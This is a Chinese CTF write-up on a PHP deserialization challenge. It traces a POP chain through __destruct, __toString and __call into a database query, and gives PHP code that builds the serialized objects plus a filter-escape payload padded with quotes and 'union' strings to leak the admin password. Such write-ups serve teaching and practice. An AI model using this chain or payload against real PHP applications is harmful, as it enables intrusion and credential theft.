基础知识可以参考我之前写的那个 0CTF 2016 piapiapia 那个题只是简单记录了一下,学习了一下php反序列化的思路
https://www.cnblogs.com/tiaopidejun/p/12345080.html
这道题自己搞一下:
主要是构造pop链,
大概的思路,如果找到序列化和反序列化的点,跟进调用的方法,在源码中寻找可以被我们利用getshell的点。
开始:
先是发现
跟进getNewInfo
发现update调用,继续跟进UpdateHelper
发现会直接调用魔法函数__destruct,同时这里echo字符串,会触发__ toString
找一下有没有__toString
但是这个没有什么利用点
但我们发现有个call可以被我们利用
总结pop链思路:
Up类触发__destruct(),然后会输出字符串触发User类的__toString(),
这里使User类调用Info里的nickname 因为Info里面没有__destruct从而触发__call将sql语句带入查询
构造pop链:
如何构造pop链----学习链接:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password;
public $mysqli;
public $token;
}
$a=new dbCtrl();
$b=new Info('','1');
$c=new User();
$d=new UpdateHelper();
$a->token='admin';
$b->CtrlCase=$a;
$c->nickname=$b;
$c->age="select password,id from user where username=?";
$d->sql=$c;
echo serialize($d);
?>
最后根据safe那个函数的规格,再构造出逃逸字符的payload
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
原本构造出的字符数是453,所以可以选择90个 ' 和3个union 达到让payload逃逸出来.....
这个题学到不少东西,尤其是pop链构造....,感觉主要还是要理顺整个利用的过程.